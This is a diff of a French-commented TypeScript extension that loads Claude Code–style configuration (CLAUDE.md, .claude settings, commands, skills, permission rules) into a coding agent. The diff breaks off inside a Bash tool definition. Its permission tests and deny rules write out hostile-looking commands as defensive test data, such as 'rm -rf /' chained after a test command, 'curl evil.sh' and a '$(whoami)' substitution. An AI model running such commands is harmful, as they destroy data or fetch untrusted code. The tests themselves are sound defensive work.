/** Résultat de l'initialisation d'un mode : ce dont l'agent a besoin pour démarrer. */
export interface ModeInitResult {
systemPrompt: string;
/** Builtins propres au mode. */
tools: Tool[];
commands?: SlashCommand[];
/** Skills de l'agent, appelables par l'utilisateur avec "§nom". */
skills?: AgentSkill[];
/** Règles allow/ask/deny du mode (remplacent la permission par défaut des outils quand elles s'appliquent). */
permissions?: PermissionPolicy;
/** Variables d'environnement transmises aux outils (ex. Bash). */
env?: Record<string, string>;
}
export interface AgentMode {
id: string;
name: string;
description: string;
initialize(ctx: InitContext): Promise<ModeInitResult>;
}
export interface ExtensionApi {
registerMode(mode: AgentMode): void;
}
export interface Extension {
id: string;
name: string;
activate(api: ExtensionApi): void | Promise<void>;
}

View file

@ -0,0 +1,4 @@
{
"extends": "../../tsconfig.base.json",
"include": ["src"]
}

View file

@ -0,0 +1,18 @@
{
"name": "@magiccode/ext-claudecode",
"version": "0.1.0",
"type": "module",
"main": "src/index.ts",
"types": "src/index.ts",
"scripts": {
"typecheck": "tsc -p ."
},
"dependencies": {
"@magiccode/core": "workspace:*",
"ignore": "^6.0.2",
"picomatch": "^3.0.1"
},
"devDependencies": {
"@types/picomatch": "^3.0.1"
}
}

View file

@ -0,0 +1,83 @@
import { readFile, readdir } from "node:fs/promises";
import { join } from "node:path";
import type { SlashCommand } from "@magiccode/core";
import { parseFrontmatter } from "./frontmatter";
/** Noms réservés aux commandes internes de MagicCode (gérées par la CLI). */
export const RESERVED_COMMANDS = new Set(["help", "clear", "mode", "model", "exit"]);
async function listMarkdown(dir: string, prefix = ""): Promise<{ name: string; file: string }[]> {
let entries;
try {
entries = await readdir(dir, { withFileTypes: true });
} catch {
return [];
}
entries.sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : 0));
const found: { name: string; file: string }[] = [];
for (const e of entries) {
if (e.isDirectory()) {
found.push(...(await listMarkdown(join(dir, e.name), `${prefix}${e.name}:`)));
} else if (e.isFile() && e.name.endsWith(".md")) {
found.push({ name: `${prefix}${e.name.slice(0, -3)}`, file: join(dir, e.name) });
}
}
return found;
}
/** $ARGUMENTS = tous les arguments, $1…$9 = arguments séparés par des espaces. */
export function renderCommand(body: string, args: string): string {
const tokens = args.trim() ? args.trim().split(/\s+/) : [];
let usesArgs = false;
const out = body.replace(/\$ARGUMENTS|\$([1-9])/g, (_m, n: string | undefined) => {
usesArgs = true;
return n ? (tokens[Number(n) - 1] ?? "") : args.trim();
});
return !usesArgs && args.trim() ? `${out.trimEnd()}\n\nARGUMENTS: ${args.trim()}` : out;
}
function fallbackDescription(body: string): string {
const first = body.split("\n").find((l) => l.trim() !== "") ?? "";
return first.replace(/^#+\s*/, "").trim().slice(0, 80) || "(sans description)";
}
/**
* Charge .claude/commands/**.md de chaque dossier .claude (du plus général au plus spécifique :
* une commande du projet remplace celle du même nom au niveau utilisateur).
* Les sous-dossiers donnent des noms préfixés : commands/git/commit.md → /git:commit.
*/
export async function loadCommands(
claudeDirs: string[],
): Promise<{ commands: SlashCommand[]; warnings: string[] }> {
const byName = new Map<string, SlashCommand>();
const warnings: string[] = [];
for (const dir of claudeDirs) {
for (const { name, file } of await listMarkdown(join(dir, "commands"))) {
if (/\s/.test(name)) {
warnings.push(`Commande ignorée (espace dans le nom) : ${file}`);
continue;
}
if (RESERVED_COMMANDS.has(name)) {
warnings.push(`Commande /${name} ignorée : nom réservé à MagicCode (${file})`);
continue;
}
let raw: string;
try {
raw = await readFile(file, "utf8");
} catch {
continue;
}
const { data, body } = parseFrontmatter(raw);
// TODO : allowed-tools, model, références @fichier et !`commande`
byName.set(name, {
name,
description: data.description || fallbackDescription(body),
argumentHint: data["argument-hint"] || undefined,
prompt: (args) => renderCommand(body, args),
});
}
}
return { commands: [...byName.values()], warnings };
}

View file

@ -0,0 +1,35 @@
function unquote(v: string): string {
const m = /^(["'])(.*)\1$/.exec(v);
return m ? (m[2] ?? "") : v;
}
/**
* Lit un en-tête YAML simple (--- … ---) : paires `clé: valeur`, valeurs entre guillemets,
* et blocs `>` / `|` (lignes indentées jointes par des espaces). Pas de YAML imbriqué.
*/
export function parseFrontmatter(raw: string): { data: Record<string, string>; body: string } {
const text = raw.replace(/\r\n/g, "\n");
if (!text.startsWith("---\n")) return { data: {}, body: text };
const end = text.indexOf("\n---", 4);
if (end === -1) return { data: {}, body: text };
const lines = text.slice(4, end).split("\n");
const body = text.slice(end + 4).replace(/^[ \t]*\n?/, "");
const data: Record<string, string> = {};
for (let i = 0; i < lines.length; i++) {
const m = /^([A-Za-z0-9_-]+):\s*(.*)$/.exec(lines[i] ?? "");
if (!m) continue;
let value = (m[2] ?? "").trim();
if (value === "" || /^[>|][+-]?$/.test(value)) {
const parts: string[] = [];
while (i + 1 < lines.length && /^\s+\S/.test(lines[i + 1] ?? "")) {
i++;
parts.push((lines[i] ?? "").trim());
}
value = parts.join(" ");
}
data[m[1]!] = unquote(value);
}
return { data, body };
}

View file

@ -0,0 +1,12 @@
import type { Extension } from "@magiccode/core";
import { claudeCodeMode } from "./mode";
export const claudeCodeExtension: Extension = {
id: "claudecode",
name: "Extension ClaudeCode",
activate(api) {
api.registerMode(claudeCodeMode);
},
};
export default claudeCodeExtension;

View file

@ -0,0 +1,148 @@
import { mkdir, mkdtemp, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { describe, expect, it } from "vitest";
import { renderCommand } from "./commands";
import { parseFrontmatter } from "./frontmatter";
import { claudeCodeMode } from "./mode";
import { createPermissionPolicy } from "./permissions";
describe("frontmatter", () => {
it("lit les clés simples, les guillemets et les blocs >", () => {
const { data, body } = parseFrontmatter(
'---\ndescription: "Revue de code"\nargument-hint: [fichier]\nlong: >\n première\n seconde\n---\nCorps $ARGUMENTS\n',
);
expect(data.description).toBe("Revue de code");
expect(data["argument-hint"]).toBe("[fichier]");
expect(data.long).toBe("première seconde");
expect(body).toBe("Corps $ARGUMENTS\n");
});
it("sans en-tête : tout est le corps", () => {
expect(parseFrontmatter("juste du texte")).toEqual({ data: {}, body: "juste du texte" });
});
});
describe("renderCommand", () => {
it("remplace $ARGUMENTS et $1..$9", () => {
expect(renderCommand("Tout: $ARGUMENTS / premier: $1 / second: $2", "a b")).toBe(
"Tout: a b / premier: a / second: b",
);
});
it("ajoute ARGUMENTS quand le corps n'utilise aucun paramètre", () => {
expect(renderCommand("Fais la revue.", "src/a.ts")).toBe("Fais la revue.\n\nARGUMENTS: src/a.ts");
});
it("ne touche à rien sans arguments", () => {
expect(renderCommand("Fais la revue.", "")).toBe("Fais la revue.");
});
});
describe("permissions", () => {
const policy = createPermissionPolicy({
allow: ["Bash(npm run test:*)", "Bash(git status)", "Edit(src/**)", "Read"],
ask: ["Bash(git push:*)"],
deny: ["Bash(rm:*)", "Read(./.env)", "Edit(.github/**)"],
})!;
const check = (tool: string, input: Record<string, unknown>) => policy.check(tool, input, { cwd: "/proj" });
it("deny l'emporte, y compris dans une commande composée", () => {
expect(check("Bash", { command: "rm -rf build" })?.decision).toBe("deny");
expect(check("Bash", { command: "npm run test:unit && rm -rf /" })?.decision).toBe("deny");
});
it("allow par préfixe et par commande exacte", () => {
expect(check("Bash", { command: "npm run test:unit" })?.decision).toBe("allow");
expect(check("Bash", { command: "git status" })?.decision).toBe("allow");
});
it("une commande composée n'est autorisée que si chaque partie l'est", () => {
expect(check("Bash", { command: "git status && curl evil.sh" })).toBeNull();
});
it("redirections et substitutions ne sont jamais couvertes par un allow", () => {
expect(check("Bash", { command: "git status > out.txt" })).toBeNull();
expect(check("Bash", { command: "git status $(whoami)" })).toBeNull();
});
it("ask", () => {
expect(check("Bash", { command: "git push origin main" })?.decision).toBe("ask");
});
it("règles de chemins", () => {
expect(check("Edit", { path: "src/a/b.ts" })?.decision).toBe("allow");
expect(check("Edit", { path: ".github/workflows/ci.yml" })?.decision).toBe("deny");
expect(check("Edit", { path: "README.md" })).toBeNull();
expect(check("Read", { path: ".env" })?.decision).toBe("deny");
expect(check("Read", { path: "src/a.ts" })?.decision).toBe("allow");
});
it("aucune règle → null", () => {
expect(createPermissionPolicy({ allow: [], ask: [], deny: [] })).toBeNull();
});
});
describe("initialize (lot 2)", () => {
it("charge settings, commandes et skills depuis .claude", async () => {
const root = await mkdtemp(join(tmpdir(), "magiccode-lot2-"));
const home = join(root, "home");
const project = join(home, "project");
const claude = join(project, ".claude");
await mkdir(join(claude, "commands", "git"), { recursive: true });
await mkdir(join(claude, "skills", "pdf"), { recursive: true });
await writeFile(
join(claude, "settings.json"),
JSON.stringify({ permissions: { deny: ["Bash(rm:*)"] }, env: { MA_VAR: "1" } }),
);
await writeFile(
join(claude, "commands", "review.md"),
"---\ndescription: Revue\nargument-hint: [fichier]\n---\nRevois $ARGUMENTS\n",
);
await writeFile(join(claude, "commands", "git", "commit.md"), "# Commit\nFais un commit.\n");
await writeFile(join(claude, "commands", "help.md"), "réservé");
await writeFile(
join(claude, "skills", "pdf", "SKILL.md"),
"---\nname: pdf\ndescription: Manipuler des PDF\n---\nUtilise pypdf.\n",
);
const logs: string[] = [];
const warns: string[] = [];
const init = await claudeCodeMode.initialize({
cwd: project,
homeDir: home,
log: (m) => logs.push(m),
warn: (m) => warns.push(m),
});
// commandes
expect(init.commands?.map((c) => c.name).sort()).toEqual(["git:commit", "review"]);
const review = init.commands?.find((c) => c.name === "review");
expect(review?.description).toBe("Revue");
expect(review?.argumentHint).toBe("[fichier]");
expect(review?.prompt("a.ts")).toContain("Revois a.ts");
expect(warns.some((w) => w.includes("/help"))).toBe(true); // nom réservé
// skills
expect(init.systemPrompt).toContain("pdf : Manipuler des PDF");
const skillTool = init.tools.find((t) => t.spec.name === "Skill");
expect(skillTool).toBeDefined();
expect(await skillTool!.execute({ skill: "pdf" }, { cwd: project })).toContain("Utilise pypdf.");
// appel direct "§pdf [arguments]"
const direct = init.skills?.find((k) => k.name === "pdf");
expect(direct?.description).toBe("Manipuler des PDF");
const prompt = await direct!.invoke("sur a.pdf");
expect(prompt).toContain('lance explicitement le skill "pdf"');
expect(prompt).toContain("Utilise pypdf.");
expect(prompt).toContain("ARGUMENTS: sur a.pdf");
// permissions et env
expect(init.permissions?.check("Bash", { command: "rm -rf x" }, { cwd: project })?.decision).toBe("deny");
expect(init.env).toEqual({ MA_VAR: "1" });
// rapport
const report = logs.join("\n");
expect(report).toContain("Chargé depuis .claude");
expect(report).toContain("/review");
expect(report).toContain("skills : pdf");
});
});

View file

@ -0,0 +1,92 @@
import { readFile, readdir, stat } from "node:fs/promises";
import { dirname, join, resolve } from "node:path";
export interface MemoryFile {
path: string;
content: string;
}
export interface ClaudeDir {
path: string;
/** Éléments reconnus et exploités, ex. "settings.json", "commands/", "skills/". */
entries: string[];
/** Autres éléments présents mais NON exploités (ex. "agents/", "rules/", ou un lien symbolique). */
unsupported: string[];
}
export interface ClaudeConfig {
/** CLAUDE.md chargés, du plus général au plus spécifique. */
memoryFiles: MemoryFile[];
/** Dossiers .claude trouvés (global, puis de la racine jusqu'au dossier courant). */
claudeDirs: ClaudeDir[];
}
const KNOWN_FILES = ["settings.json", "settings.local.json", "CLAUDE.md"];
const KNOWN_DIRS = ["commands", "skills"];
const IGNORED_NAMES = new Set([".DS_Store", "Thumbs.db"]);
async function tryRead(path: string): Promise<MemoryFile | null> {
try {
return { path, content: await readFile(path, "utf8") };
} catch {
return null;
}
}
async function inspectClaudeDir(path: string): Promise<ClaudeDir | null> {
try {
if (!(await stat(path)).isDirectory()) return null;
const dirents = await readdir(path, { withFileTypes: true });
const files = dirents.filter((d) => d.isFile() && KNOWN_FILES.includes(d.name)).map((d) => d.name);
const dirs = dirents.filter((d) => d.isDirectory() && KNOWN_DIRS.includes(d.name)).map((d) => d.name);
const known = new Set([...files, ...dirs]);
const unsupported = dirents
.filter((d) => !known.has(d.name) && !IGNORED_NAMES.has(d.name))
.map((d) => (d.isDirectory() ? `${d.name}/` : d.name));
return { path, entries: [...files, ...dirs.map((n) => `${n}/`)], unsupported };
} catch {
return null;
}
}
/** Dossiers de la racine jusqu'à cwd (le plus spécifique en dernier). */
function directoryChain(cwd: string): string[] {
const chain: string[] = [];
let dir = resolve(cwd);
for (;;) {
chain.unshift(dir);
const parent = dirname(dir);
if (parent === dir) break;
dir = parent;
}
return chain;
}
/**
* Découvre la configuration ClaudeCode :
* - CLAUDE.md : global (~/.claude/CLAUDE.md), puis, pour chaque dossier de la racine
* à cwd, <dossier>/CLAUDE.md et <dossier>/.claude/CLAUDE.md ;
* - dossiers .claude : global (~/.claude), puis <dossier>/.claude pour chaque dossier de la chaîne.
*/
export async function loadClaudeConfig(cwd: string, homeDir: string): Promise<ClaudeConfig> {
const chain = directoryChain(cwd);
const memoryCandidates = [
join(homeDir, ".claude", "CLAUDE.md"),
...chain.flatMap((d) => [join(d, "CLAUDE.md"), join(d, ".claude", "CLAUDE.md")]),
];
const memoryFiles: MemoryFile[] = [];
for (const path of new Set(memoryCandidates)) {
const file = await tryRead(path);
if (file) memoryFiles.push(file);
}
const dirCandidates = [join(homeDir, ".claude"), ...chain.map((d) => join(d, ".claude"))];
const claudeDirs: ClaudeDir[] = [];
for (const path of new Set(dirCandidates)) {
const dir = await inspectClaudeDir(path);
if (dir) claudeDirs.push(dir);
}
return { memoryFiles, claudeDirs };
}

View file

@ -0,0 +1,64 @@
import { mkdir, mkdtemp, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { describe, expect, it } from "vitest";
import { claudeCodeMode } from "./mode";
async function setup() {
const root = await mkdtemp(join(tmpdir(), "magiccode-cc-"));
const home = join(root, "home");
const project = join(home, "project");
await mkdir(project, { recursive: true });
const logs: string[] = [];
const warns: string[] = [];
const ctx = {
cwd: project,
homeDir: home,
log: (m: string) => logs.push(m),
warn: (m: string) => warns.push(m),
};
return { home, project, logs, warns, ctx };
}
describe("ClaudeCode initialize", () => {
it("liste les CLAUDE.md et dossiers .claude trouvés", async () => {
const { home, project, logs, warns, ctx } = await setup();
await mkdir(join(home, ".claude"), { recursive: true });
await writeFile(join(home, ".claude", "CLAUDE.md"), "global");
await mkdir(join(project, ".claude", "commands"), { recursive: true });
await writeFile(join(project, ".claude", "settings.json"), "{}");
await writeFile(join(project, "CLAUDE.md"), "projet");
const init = await claudeCodeMode.initialize(ctx);
expect(warns).toHaveLength(0);
const report = logs.join("\n");
expect(report).toContain("~/.claude/CLAUDE.md");
expect(report).toContain("./CLAUDE.md");
expect(report).toContain("./.claude (settings.json, commands/)");
expect(init.systemPrompt).toContain("projet");
});
it("avertit quand aucune configuration n'est trouvée", async () => {
const { logs, warns, ctx } = await setup();
await claudeCodeMode.initialize(ctx);
expect(logs).toHaveLength(0);
expect(warns[0]).toContain("Aucune configuration ClaudeCode");
});
it("signale les éléments .claude présents mais non exploités, y compris dans un dossier parent", async () => {
const { home, project, logs, ctx } = await setup();
const parentClaude = join(home, ".claude"); // dossier parent du projet
await mkdir(join(parentClaude, "agents"), { recursive: true });
await mkdir(join(parentClaude, "rules"), { recursive: true });
await writeFile(join(parentClaude, "settings.json"), "{}");
await writeFile(join(project, "CLAUDE.md"), "projet");
await claudeCodeMode.initialize(ctx);
const report = logs.join("\n");
expect(report).toContain("~/.claude (settings.json ; non exploité : agents/, rules/)");
});
});

View file

@ -0,0 +1,74 @@
import type { AgentMode } from "@magiccode/core";
import { loadCommands } from "./commands";
import { loadClaudeConfig } from "./memory";
import { createPermissionPolicy } from "./permissions";
import { formatConfigReport } from "./report";
import { loadSettings } from "./settings";
import { createSkillTool, loadSkills, skillsPromptSection, toAgentSkills } from "./skills";
import { claudeCodeTools } from "./tools";
function buildSystemPrompt(
cwd: string,
memory: { path: string; content: string }[],
skillsSection: string,
): string {
const parts = [
"Tu es MagicCode, un assistant de programmation en ligne de commande.",
"Tu aides l'utilisateur à lire, comprendre et modifier le code de son projet en utilisant tes outils.",
"Réponds dans la langue de l'utilisateur, de façon concise.",
"Lis un fichier avant de le modifier. Ne fais que les modifications demandées.",
"Pour chercher des fichiers ou du contenu, préfère les outils Glob et Grep à Bash.",
`Dossier de travail : ${cwd} (dossier de lancement de MagicCode). Les chemins relatifs, y compris pour créer un fichier, sont résolus depuis ce dossier ; n'utilise un chemin complet que s'il t'est fourni.`,
];
for (const file of memory) {
parts.push(`\n# Instructions (${file.path})\n${file.content.trim()}`);
}
if (skillsSection) parts.push(skillsSection);
return parts.join("\n");
}
export const claudeCodeMode: AgentMode = {
id: "claudecode",
name: "ClaudeCode",
description: "Fonctionne comme Claude Code (CLAUDE.md, dossier .claude, outils de base)",
async initialize(ctx) {
const config = await loadClaudeConfig(ctx.cwd, ctx.homeDir);
// Lot 2 : exploitation des dossiers .claude (global, puis de la racine au dossier courant)
const dirs = config.claudeDirs.map((d) => d.path);
const [{ settings, warnings: w1 }, { commands, warnings: w2 }, { skills, warnings: w3 }] =
await Promise.all([loadSettings(dirs), loadCommands(dirs), loadSkills(dirs)]);
for (const w of [...w1, ...w2, ...w3]) ctx.warn(w);
// Information de l'utilisateur sur ce qui a été trouvé et chargé (ou non)
const report = formatConfigReport(config, ctx.cwd, ctx.homeDir, {
settingsFiles: settings.files,
rules: {
allow: settings.permissions.allow.length,
deny: settings.permissions.deny.length,
ask: settings.permissions.ask.length,
},
envCount: Object.keys(settings.env).length,
commands: commands.map((c) => c.name),
skills: skills.map((s) => s.name),
});
if (report) {
ctx.log(report);
} else {
ctx.warn(
"Aucune configuration ClaudeCode n'a été trouvée (ni CLAUDE.md, ni dossier .claude) dans ~/.claude ni dans " +
`les dossiers de la racine jusqu'à ${ctx.cwd}. MagicCode démarre avec ses instructions par défaut.`,
);
}
// TODO lot 3 : agents/ (sous-agents), hooks, serveurs MCP ; commandes : allowed-tools, model, @fichier, !`commande`.
return {
systemPrompt: buildSystemPrompt(ctx.cwd, config.memoryFiles, skillsPromptSection(skills)),
tools: skills.length > 0 ? [...claudeCodeTools, createSkillTool(skills)] : claudeCodeTools,
commands,
skills: toAgentSkills(skills),
permissions: createPermissionPolicy(settings.permissions) ?? undefined,
env: Object.keys(settings.env).length > 0 ? settings.env : undefined,
};
},
};

View file

@ -0,0 +1,116 @@
import { isAbsolute, relative, resolve, sep } from "node:path";
import picomatch from "picomatch";
import type { PermissionPolicy } from "@magiccode/core";
import type { PermissionRules } from "./settings";
interface Rule {
tool: string;
spec?: string;
raw: string;
}
const RULE_RE = /^([A-Za-z0-9_.-]+)(?:\((.*)\))?$/s;
const PATH_TOOLS = new Set(["Read", "Write", "Edit", "Glob", "Grep"]);
/** Substitutions de commandes, redirections : une règle allow ne peut pas les couvrir de façon sûre. */
const UNSAFE_SHELL = /\$\(|`|<\(|>/;
function parseRules(raws: string[]): Rule[] {
const rules: Rule[] = [];
for (const raw of raws) {
const m = RULE_RE.exec(raw.trim());
if (!m) continue;
const spec = m[2]?.trim();
rules.push({ tool: m[1]!, spec: spec || undefined, raw });
}
return rules;
}
// ----- Bash : la spécification est un préfixe ("npm run test:*"), un motif ("git * --help") ou une commande exacte
function splitCommands(cmd: string): string[] {
return cmd
.split(/&&|\|\||;|\||\n/)
.map((s) => s.trim())
.filter(Boolean);
}
function matchBashSpec(spec: string, sub: string): boolean {
if (spec.endsWith(":*")) return sub.startsWith(spec.slice(0, -2));
if (spec.includes("*")) {
const source = spec
.split("*")
.map((part) => part.replace(/[.+?^${}()|[\]\\]/g, "\\$&"))
.join(".*");
return new RegExp(`^${source}$`).test(sub);
}
return sub === spec;
}
// ----- Read / Write / Edit / Glob / Grep : la spécification est un motif de chemin relatif au dossier courant
function targetPath(input: Record<string, unknown>, cwd: string): string {
const raw = typeof input.path === "string" && input.path ? input.path : ".";
const abs = resolve(cwd, raw);
const rel = relative(cwd, abs);
const out = rel === "" ? "." : rel.startsWith("..") || isAbsolute(rel) ? abs : rel;
return out.split(sep).join("/");
}
function matchPathSpec(spec: string, target: string): boolean {
const s = spec.replace(/^\.\//, "").replace(/\/+$/, "");
return picomatch([s, `${s}/**`], { dot: true })(target);
}
// ----- Évaluation
/** Pour deny/ask : la règle s'applique si une partie de la commande (Bash) ou le chemin correspond. */
function ruleApplies(rule: Rule, tool: string, input: Record<string, unknown>, cwd: string): boolean {
if (rule.tool !== tool) return false;
if (!rule.spec) return true;
if (tool === "Bash") {
const cmd = typeof input.command === "string" ? input.command : "";
return splitCommands(cmd).some((sub) => matchBashSpec(rule.spec!, sub));
}
if (PATH_TOOLS.has(tool)) return matchPathSpec(rule.spec, targetPath(input, cwd));
return false;
}
/** Pour allow : TOUTES les parties d'une commande Bash doivent être couvertes (et sans redirection ni substitution). */
function allowApplies(rules: Rule[], tool: string, input: Record<string, unknown>, cwd: string): boolean {
const mine = rules.filter((r) => r.tool === tool);
if (mine.length === 0) return false;
if (mine.some((r) => !r.spec)) return true; // ex. "Edit" : tous les usages de l'outil
if (tool === "Bash") {
const cmd = typeof input.command === "string" ? input.command : "";
if (UNSAFE_SHELL.test(cmd)) return false;
const subs = splitCommands(cmd);
return subs.length > 0 && subs.every((sub) => mine.some((r) => matchBashSpec(r.spec!, sub)));
}
if (PATH_TOOLS.has(tool)) {
const target = targetPath(input, cwd);
return mine.some((r) => matchPathSpec(r.spec!, target));
}
return false;
}
/**
* Règles au format Claude Code : "Bash(npm run test:*)", "Edit(src/**)", "Read(./.env)", "Write".
* Priorité : deny > ask > allow ; sans règle applicable → null (permission par défaut de l'outil).
*/
export function createPermissionPolicy(rules: PermissionRules): PermissionPolicy | null {
const deny = parseRules(rules.deny);
const ask = parseRules(rules.ask);
const allow = parseRules(rules.allow);
if (deny.length + ask.length + allow.length === 0) return null;
return {
check(tool, input, { cwd }) {
const d = deny.find((r) => ruleApplies(r, tool, input, cwd));
if (d) return { decision: "deny", reason: `règle deny ${d.raw}` };
const a = ask.find((r) => ruleApplies(r, tool, input, cwd));
if (a) return { decision: "ask", reason: `règle ask ${a.raw}` };
if (allowApplies(allow, tool, input, cwd)) return { decision: "allow" };
return null;
},
};
}

View file

@ -0,0 +1,67 @@
import { relative, resolve, sep } from "node:path";
import type { ClaudeConfig } from "./memory";
/** Ce qui a été réellement exploité depuis les dossiers .claude. */
export interface LoadedSummary {
settingsFiles: string[];
rules: { allow: number; deny: number; ask: number };
envCount: number;
commands: string[];
skills: string[];
}
/** ~/… pour le dossier personnel, ./… pour ce qui est sous le dossier courant. */
function displayPath(path: string, cwd: string, homeDir: string): string {
const abs = resolve(path);
const rel = relative(resolve(cwd), abs);
if (rel === "") return ".";
if (!rel.startsWith("..")) return `.${sep}${rel}`;
const fromHome = relative(resolve(homeDir), abs);
if (!fromHome.startsWith("..") && fromHome !== "") return `~${sep}${fromHome}`;
return abs;
}
/** Texte affiché à l'initialisation, ou null si aucune configuration ClaudeCode n'a été trouvée. */
export function formatConfigReport(
config: ClaudeConfig,
cwd: string,
homeDir: string,
loaded?: LoadedSummary,
): string | null {
const { memoryFiles, claudeDirs } = config;
if (memoryFiles.length === 0 && claudeDirs.length === 0) return null;
const lines = [
"Configuration ClaudeCode trouvée (recherche : ~/.claude, puis chaque dossier de la racine jusqu'au dossier de travail) :",
];
lines.push(" Fichiers de contexte (CLAUDE.md) :");
if (memoryFiles.length === 0) lines.push(" (aucun)");
for (const f of memoryFiles) lines.push(` • ${displayPath(f.path, cwd, homeDir)}`);
lines.push(" Dossiers .claude :");
if (claudeDirs.length === 0) lines.push(" (aucun)");
for (const d of claudeDirs) {
const used = d.entries.length > 0 ? d.entries.join(", ") : "aucun élément exploité";
const skipped = d.unsupported.length > 0 ? ` ; non exploité : ${d.unsupported.join(", ")}` : "";
lines.push(` • ${displayPath(d.path, cwd, homeDir)} (${used}${skipped})`);
}
if (loaded) {
const items: string[] = [];
if (loaded.settingsFiles.length > 0) {
const { allow, deny, ask } = loaded.rules;
const files = loaded.settingsFiles.map((f) => displayPath(f, cwd, homeDir)).join(", ");
const env = loaded.envCount > 0 ? `, ${loaded.envCount} variable(s) d'environnement` : "";
items.push(`settings : ${files} (règles : ${allow} allow, ${ask} ask, ${deny} deny${env})`);
}
if (loaded.commands.length > 0) {
items.push(`commandes : ${loaded.commands.map((c) => `/${c}`).join(", ")}`);
}
if (loaded.skills.length > 0) items.push(`skills : ${loaded.skills.join(", ")}`);
if (items.length > 0) {
lines.push(" Chargé depuis .claude :");
for (const item of items) lines.push(` • ${item}`);
}
}
return lines.join("\n");
}

View file

@ -0,0 +1,71 @@
import { readFile } from "node:fs/promises";
import { join } from "node:path";
export interface PermissionRules {
allow: string[];
deny: string[];
ask: string[];
}
export interface ClaudeSettings {
permissions: PermissionRules;
env: Record<string, string>;
/** Fichiers settings réellement lus. */
files: string[];
}
const SETTINGS_FILES = ["settings.json", "settings.local.json"];
function strings(v: unknown): string[] {
return Array.isArray(v) ? v.filter((x): x is string => typeof x === "string") : [];
}
/**
* Fusionne les settings des dossiers .claude, du plus général au plus spécifique
* (settings.json puis settings.local.json dans chaque dossier). Les listes de règles
* s'additionnent ; pour `env`, la dernière valeur l'emporte.
*/
export async function loadSettings(
claudeDirs: string[],
): Promise<{ settings: ClaudeSettings; warnings: string[] }> {
const settings: ClaudeSettings = {
permissions: { allow: [], deny: [], ask: [] },
env: {},
files: [],
};
const warnings: string[] = [];
for (const dir of claudeDirs) {
for (const name of SETTINGS_FILES) {
const path = join(dir, name);
let raw: string;
try {
raw = await readFile(path, "utf8");
} catch {
continue; // absent : normal
}
let json: { permissions?: Record<string, unknown>; env?: Record<string, unknown> };
try {
json = JSON.parse(raw);
} catch (err) {
warnings.push(`${path} ignoré : JSON invalide (${(err as Error).message})`);
continue;
}
settings.files.push(path);
for (const key of ["allow", "deny", "ask"] as const) {
settings.permissions[key].push(...strings(json.permissions?.[key]));
}
for (const [k, v] of Object.entries(json.env ?? {})) {
if (typeof v === "string" || typeof v === "number" || typeof v === "boolean") {
settings.env[k] = String(v);
}
}
}
}
for (const key of ["allow", "deny", "ask"] as const) {
settings.permissions[key] = [...new Set(settings.permissions[key])];
}
return { settings, warnings };
}

View file

@ -0,0 +1,119 @@
import { readFile, readdir } from "node:fs/promises";
import { join } from "node:path";
import type { AgentSkill, Tool } from "@magiccode/core";
import { renderCommand } from "./commands";
import { parseFrontmatter } from "./frontmatter";
export interface Skill {
name: string;
description: string;
/** Dossier du skill (les fichiers qu'il référence sont relatifs à ce dossier). */
dir: string;
/** Contenu de SKILL.md sans l'en-tête. */
body: string;
}
/**
* Charge .claude/skills/<nom>/SKILL.md de chaque dossier .claude (du plus général au plus
* spécifique : un skill du projet remplace celui du même nom au niveau utilisateur).
* Seuls le nom et la description sont mis en avant ; le contenu est chargé à la demande (outil Skill).
*/
export async function loadSkills(
claudeDirs: string[],
): Promise<{ skills: Skill[]; warnings: string[] }> {
const byName = new Map<string, Skill>();
const warnings: string[] = [];
for (const dir of claudeDirs) {
const root = join(dir, "skills");
let entries;
try {
entries = await readdir(root, { withFileTypes: true });
} catch {
continue;
}
entries.sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : 0));
for (const e of entries) {
if (!e.isDirectory()) continue;
const skillDir = join(root, e.name);
let raw: string;
try {
raw = await readFile(join(skillDir, "SKILL.md"), "utf8");
} catch {
continue; // dossier sans SKILL.md : pas un skill
}
const { data, body } = parseFrontmatter(raw);
const name = data.name || e.name;
let description = data.description;
if (!description) {
description = (body.split("\n").find((l) => l.trim() !== "") ?? "").replace(/^#+\s*/, "").trim();
warnings.push(`Skill "${name}" sans description dans l'en-tête de SKILL.md (${skillDir})`);
}
byName.set(name, { name, description: description || "(sans description)", dir: skillDir, body });
}
}
return { skills: [...byName.values()], warnings };
}
export function skillsPromptSection(skills: Skill[]): string {
if (skills.length === 0) return "";
const list = skills.map((s) => `- ${s.name} : ${s.description}`).join("\n");
return (
"\n# Skills disponibles\n" +
"Quand une tâche correspond à la description d'un skill, charge-le avec l'outil Skill AVANT de commencer, " +
"puis suis ses instructions.\n" +
list
);
}
/** Contenu d'un skill tel que présenté au modèle (outil Skill ou appel direct). */
function skillContent(skill: Skill): string {
return (
`# Skill : ${skill.name}\n` +
`Dossier du skill : ${skill.dir} (les fichiers qu'il référence sont relatifs à ce dossier ; lis-les avec Read si besoin)\n\n` +
skill.body.trim()
);
}
/**
* Skills appelables directement par l'utilisateur ("§nom [arguments]") : le prompt contient
* les instructions du skill, le modèle les applique sans avoir à appeler l'outil Skill.
*/
export function toAgentSkills(skills: Skill[]): AgentSkill[] {
return skills.map((skill) => ({
name: skill.name,
description: skill.description,
invoke: (args) =>
`L'utilisateur lance explicitement le skill "${skill.name}". Applique maintenant ses instructions.\n\n` +
renderCommand(skillContent(skill), args),
}));
}
/** Outil Skill : renvoie les instructions complètes du skill demandé (chargement progressif). */
export function createSkillTool(skills: Skill[]): Tool {
const byName = new Map(skills.map((s) => [s.name, s]));
return {
spec: {
name: "Skill",
description:
"Charge les instructions détaillées d'un skill. Skills disponibles :\n" +
skills.map((s) => `- ${s.name} : ${s.description}`).join("\n"),
inputSchema: {
type: "object",
properties: { skill: { type: "string", enum: skills.map((s) => s.name) } },
required: ["skill"],
},
},
permission: "auto",
describe: (i) => String(i.skill ?? ""),
async execute(input) {
const name = typeof input.skill === "string" ? input.skill : "";
const skill = byName.get(name);
if (!skill) {
throw new Error(`Skill inconnu : "${name}" (disponibles : ${[...byName.keys()].join(", ")})`);
}
return skillContent(skill);
},
};
}

View file

@ -0,0 +1,40 @@
import { exec } from "node:child_process";
import type { Tool } from "@magiccode/core";
import { str } from "./helpers";
const OUTPUT_MAX = 30_000;
export const bashTool: Tool = {
spec: {
name: "Bash",
description: "Exécute une commande shell dans le dossier de lancement de MagicCode (timeout : 2 minutes).",
inputSchema: {
type: "object",
properties: { command: { type: "string" } },
